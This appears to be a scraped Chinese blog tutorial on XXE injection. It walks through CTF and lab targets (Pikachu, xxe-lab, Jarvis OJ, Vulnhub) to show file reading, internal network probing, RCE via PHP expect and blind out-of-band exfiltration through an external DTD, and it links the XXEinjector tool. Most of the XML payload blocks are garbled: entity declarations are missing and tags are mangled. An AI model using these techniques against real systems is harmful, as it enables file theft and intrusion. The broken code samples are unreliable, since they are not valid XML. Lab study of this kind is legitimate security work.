WEB漏洞原理之---【XML&XXE利用检测绕过】

文章目录

    • 1、概述
      • 1.1、XML概念
      • 1.2、XML与HTML的主要差异
      • 1.3、XML代码示例
    • 2、靶场演示
      • 2.1、Pikachu靶场--XML数据传输测试
        • 玩法-1-读取文件
        • 玩法-2-内网探针或攻击内网应用(触发漏洞地址)
        • 玩法-3-RCE
        • 引入外部实体DTD
        • 无回显-读取文件
          • 开启phpstudy--apache日志
    • 3、XXE绕过
    • 4、XXE检测
      • 4.1、xxe-lab靶场
      • 4.2、CTF-Jarvis-OJ-Web-XXE
      • 4.3、Vulnhub/XXE Lab: 1
    • 5、XXEinjection工具
    • 6、XXE安全防御

1、概述

1.1、XML概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XXE是XML的一个漏洞


XXE产生根本原因:网站接受XML数据,没有对xml进行过滤


1.2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在**显示信息,而XML旨在传输信息**。

1.3、XML代码示例


<!DOCTYPE note [	
<!ELEMENT to (#PCDATA)>			
<!ELEMENT from (#PCDATA)>		
<!ELEMENT head (#PCDATA)>		
<!ELEMENT body (#PCDATA)>		
]]]>


<note>
    <to>Daveto>
    <from>Tomfrom>
    <head>Reminderhead>
    <body>You are a good manbody>
note>

2、靶场演示

2.1、Pikachu靶场–XML数据传输测试

WEB漏洞原理之---【XML&XXE利用检测绕过】_第1张图片

-回显,玩法,协议,引入

WEB漏洞原理之---【XML&XXE利用检测绕过】_第2张图片

WEB漏洞原理之---【XML&XXE利用检测绕过】_第3张图片

玩法-1-读取文件

前提:读取的文件必须存在


DOCTYPE ANY [
		
]>
<x>&xxe;x>

WEB漏洞原理之---【XML&XXE利用检测绕过】_第4张图片

玩法-2-内网探针或攻击内网应用(触发漏洞地址)


DOCTYPE foo [
<!ELEMENT foo ANY >

]>
<x>&rabbit;x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放

如果访问的文件不存在,会显示如下图的信息

WEB漏洞原理之---【XML&XXE利用检测绕过】_第5张图片

玩法-3-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令


DOCTYPE ANY [
		
]>
<x>&xxe;x>

id是对于的执行的命令。实战情况比较难碰到

引入外部实体DTD


DOCTYPE test [
		
		%file;
]>
<x>&send;x>

把核心 代码写入evil2.dtd内容如下:


WEB漏洞原理之---【XML&XXE利用检测绕过】_第6张图片

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施

WEB漏洞原理之---【XML&XXE利用检测绕过】_第7张图片

无回显-读取文件

先把靶场的回显代码注释掉

WEB漏洞原理之---【XML&XXE利用检测绕过】_第8张图片


DOCTYPE test [
		
		
		%dtd;
		%send;
]>

#读取C:/tmp/1.txt里的内容复制给 file
#然后去请求test.dtd
  • test.dtd:
"
>
%payload;


#去访问?data=上面读到的数据
开启phpstudy–apache日志

WEB漏洞原理之---【XML&XXE利用检测绕过】_第9张图片

WEB漏洞原理之---【XML&XXE利用检测绕过】_第10张图片

重启phpstudy,就有了一个access.log

WEB漏洞原理之---【XML&XXE利用检测绕过】_第11张图片

然后攻击,无回显,查看日志

WEB漏洞原理之---【XML&XXE利用检测绕过】_第12张图片

解码网站:https://www.bejson.com/enc/base64/

WEB漏洞原理之---【XML&XXE利用检测绕过】_第13张图片

3、XXE绕过

CTF XXE

4、XXE检测

4.1、xxe-lab靶场

xxe-lab靶场登录框xml数据传输测试–检查发现

靶场地址:https://github.com/c0ny1/xxe-lab

WEB漏洞原理之---【XML&XXE利用检测绕过】_第14张图片

WEB漏洞原理之---【XML&XXE利用检测绕过】_第15张图片

请求头中如下:
    Content-Type: application/xml;
    或者
    Content-Type: text/xml;

Payload:


DOCTYPE Mikasa [

]>
<user><username>&test;username><password>Mikasapassword>user>

WEB漏洞原理之---【XML&XXE利用检测绕过】_第16张图片

4.2、CTF-Jarvis-OJ-Web-XXE

XXE安全真题复现–修改数据请求格式

地址:http://web.jarvisoj.com:9882/

WEB漏洞原理之---【XML&XXE利用检测绕过】_第17张图片

点击Go!BurpSuite拦截

数据包为json格式

WEB漏洞原理之---【XML&XXE利用检测绕过】_第18张图片

修改Content-Type

提交Payload


DOCTYPE  ANY [

]>
<x>&ss;x>

WEB漏洞原理之---【XML&XXE利用检测绕过】_第19张图片

4.3、Vulnhub/XXE Lab: 1

靶场地址:XXE Lab: 1

下载地址:Download (Mirror)

WEB漏洞原理之---【XML&XXE利用检测绕过】_第20张图片

5、XXEinjection工具

XXE安全漏洞自动化注射脚本 工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行

工具地址:

  • https://github.com/enjoiz/XXEinjector
  • https://github.com/enjoiz/XXEinjector/archive/master.zip

工具使用:

  • https://www.cnblogs.com/bmjoker/p/9614990.html
git clone https://github.com/enjoiz/XXEinjector.git

WEB漏洞原理之---【XML&XXE利用检测绕过】_第21张图片

6、XXE安全防御

php java python 过滤及禁用

WEB漏洞原理之---【XML&XXE利用检测绕过】_第22张图片

你可能感兴趣的:(#,渗透测试,xml,安全,web安全,网络安全)